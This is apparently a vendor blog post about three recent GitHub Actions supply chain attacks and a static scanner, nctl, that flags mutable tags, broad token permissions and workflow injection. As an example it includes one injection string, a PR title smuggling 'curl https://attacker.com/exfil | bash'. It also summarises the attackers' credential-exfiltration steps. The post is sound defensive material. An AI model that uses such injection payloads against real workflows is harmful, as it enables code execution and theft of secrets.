Three major supply chain attacks. One common thread.
In the past few months, GitHub Actions has become one of the most actively targeted surfaces in software supply chains. Three attacks — the Orca HackerBot/CLAW campaign, the TeamPCP/Checkmarx compromise, and the Trivy supply chain attack — have demonstrated that CI/CD workflows are no longer a secondary concern for security teams. They are a primary attack vector.
This post breaks down what happened, what these attacks have in common, and how nctl scan github-actions — Nirmata’s new static analysis capability — can detect and prevent the class of vulnerabilities that made them possible.
What Just Happened
The Trivy Supply Chain Attack
Aqua Security’s open-source Trivy scanner was compromised after attackers gained access to CI credentials. The attackers force-pushed malicious commits to 76 of 77 Trivy release tags on GitHub. Any workflow consuming aquasecurity/trivy-action@v0.24.0 — a mutable tag — pulled the malicious entrypoint instead of the legitimate one.
The payload performed multi-stage exfiltration: scraping PATs from memory via /proc/{PID}/mem, harvesting cloud credentials from IMDS endpoints, encrypting and staging the data, then POSTing it to an attacker-controlled domain. A fallback path used the compromised GITHUB_TOKEN to create a new repository as a data drop.
Aqua has confirmed their commercial platform was isolated and unaffected, but the open-source ecosystem impact was broad.
TeamPCP Hacks Checkmarx via Stolen CI Credentials
The TeamPCP group leveraged credentials stolen during the Trivy compromise to pivot into Checkmarx’s GitHub Actions environment. The attack combined stolen PATs with a force-pushed action tag to execute malicious code inside Checkmarx’s CI pipelines — demonstrating how a single compromised upstream action can become a beachhead into downstream organizations.
HackerBot / CLAW Campaign
The Orca Security team documented a broader campaign targeting GitHub Actions workflows through injection vulnerabilities — specifically workflows that interpolate untrusted PR context (titles, branch names, comments) directly into run: steps or environment variables. These injection flaws allow attackers to hijack runner execution without any credential theft at all. We highlighted this as an emerging threat and a trend to watch out for!

github scanning
The Common Thread: Workflow Hygiene Failures
Across all three attacks, the exploitable conditions share a pattern:
| Vulnerability class | Example | Exploited in |
|---|---|---|
| Mutable action tags | uses: aquasecurity/trivy-action@v0.24.0 |
Trivy, TeamPCP/Checkmarx |
| Over-broad permissions | GITHUB_TOKEN with contents: write |
Trivy exfil fallback |
| Injection via untrusted input | PR title interpolated in run: |
CLAW/HackerBot campaign |
Unsecured $GITHUB_ENV writes |
Attacker-controlled value persists to all steps | CLAW/HackerBot campaign |
These aren’t zero-days. They are well-documented misconfigurations that static analysis can catch — before a pipeline runs.
Introducing nctl scan github-actions
As of nctl v4.10.12, the nctl scan github-actions command statically analyzes your .github/workflows/*.yml files against a comprehensive set of security policies — no Kubernetes cluster, no network access required for most checks.
# Scan a local repo
nctl scan github-actions /path/to/repo
# Scan a GitHub repo directly
nctl scan github-actions https://github.com/your-org/your-repo
# CI gating: fail the build on violations
nctl scan github-actions --fail-on-violations
# Output SARIF for GitHub Code Scanning
nctl scan github-actions --output sarif > results.sarif
How It Works
Each workflow YAML is parsed into a normalized JSON object and evaluated against every policy using the Kyverno CEL engine (policies.kyverno.io/v1beta1). Policies run locally — the only outbound calls are two optional network-dependent checks (known-vulnerable-actions and impostor-commit) that query OSV.dev and the GitHub API respectively.
Would nctl Have Caught These Attacks?
Trivy / TeamPCP: Yes — Two Policies Fire Directly
actions-pinned-to-sha (high)
Any workflow using aquasecurity/trivy-action@v0.24.0 instead of a full commit SHA would be flagged immediately:
# ❌ Flagged — mutable tag, susceptible to tag force-push
- uses: aquasecurity/trivy-action@v0.24.0
# ✅ Safe — force-pushing the tag has no effect
- uses: aquasecurity/trivy-action@18f3a0656b9b687859c4e94c5e12f0b7a61f8f28 # v0.24.0
If all consumers had SHA-pinned, the Trivy tag mutation would have had zero impact. The malicious commit would never have run.
impostor-commit (critical)
This policy makes a live call to the GitHub API at scan time to verify that the SHA in a pinned uses: still resolves to the same commit as its version tag. A force-push moves the tag to a new SHA — this divergence is flagged as critical. Running nctl scan github-actions against consumer repos after the tags were moved would have caught the compromise immediately.
Note:
impostor-commitrequires theuses:line to carry an inline version comment so the parser can extract the tag to query:uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
no-write-all-permissions / workflow-has-permissions (high)
The Trivy payload’s fallback exfil path — creating a repository using GITHUB_TOKEN — requires contents: write. Workflows with overly broad permissions or no permissions: block at all are flagged by these policies.
CLAW / HackerBot Injection Campaign: Multiple Policies Fire
The injection attacks documented by Orca are precisely the class of vulnerability nctl was built to catch:
| Policy | What it catches |
|---|---|
no-untrusted-input-in-run |
PR title, branch name, issue body interpolated in run: steps |
no-github-env-injection |
Attacker-controlled context written to $GITHUB_ENV |
no-github-path-injection |
Attacker-controlled context written to $GITHUB_PATH (PATH hijacking) |
no-workflow-env-injection |
Attacker-controlled context in workflow-level env: block |
comment-trigger-requires-author-check |
issue_comment trigger without author-association guard |
A typical vulnerable pattern:
# ❌ Flagged by no-untrusted-input-in-run
- name: Echo PR title
run: echo "${{ github.event.pull_request.title }}"
An attacker sets the PR title to "; curl https://attacker.com/exfil | bash; echo " and the shell executes it. nctl catches this statically.
What nctl Cannot Catch (And What Can)
Honest assessment: nctl scan github-actions is a workflow hygiene tool. It analyzes your YAML. It cannot inspect what happens inside an action’s entrypoint.sh at runtime.
| Attack phase | nctl (with policies) | Runtime tools |
|---|---|---|
| Mutable tag in workflow YAML | ✅ Caught | — |
| SHA/tag mismatch after force-push | ✅ Caught (with impostor-commit) |
— |
/proc memory scraping inside action |
❌ Not visible | ✅ Syscall detection |
Outbound .tar.gz POST to exfil domain |
❌ Not visible | ✅ Network egress detection |
| IMDS credential harvesting | ❌ Not visible | ✅ Anomalous metadata access |
The two tool categories are complementary. Static analysis prevents the misconfiguration that creates the attack surface; runtime detection catches behavior that slips through. Running nctl scan github-actions alongside actionlint (for syntax and type correctness) and a runtime behavioral tool gives defense-in-depth.
Example: Scanning the Kyverno Website Repo
nctl scan github-actions https://github.com/kyverno/website
• applying policies to 4 workflow files
+---------------------+------+------+
| CATEGORY | PASS | FAIL |
+---------------------+------+------+
| authorization | 7 | 1 |
| injection | 40 | 0 |
| least-privilege | 11 | 1 |
| supply-chain | 18 | 2 |
| ... | ... | ... |
+---------------------+------+------+
Rule Results: Pass: 125, Fail: 7
Failed Severity: High: 4, Low: 3
Seven findings in a well-maintained open-source repo. Supply-chain and least-privilege failures are the most common — and the most consequential, as the recent attacks demonstrate.
Getting Started
# Scan your repo right now
nctl scan github-actions /path/to/your/repo
# Fail CI on high+ severity findings
nctl scan github-actions --fail-on-violations --severity high
# Publish results to Nirmata Control Hub
nctl scan github-actions --publish
# Use custom policies in addition to built-ins
nctl scan github-actions --policies ./my-org-policies/
The three attacks covered in this post exploited misconfigurations that are detectable today. SHA-pinning every third-party action is the single highest-leverage change you can make — it turns a force-push attack from a silent compromise into a detectable anomaly.
Start with your most sensitive workflows first: release pipelines, anything with contents: write, and anything triggered by PRs from forks.
nctl scan github-actions is available in nctl v4.10.12+. Documentation and custom policy reference: docs.nirmata.io
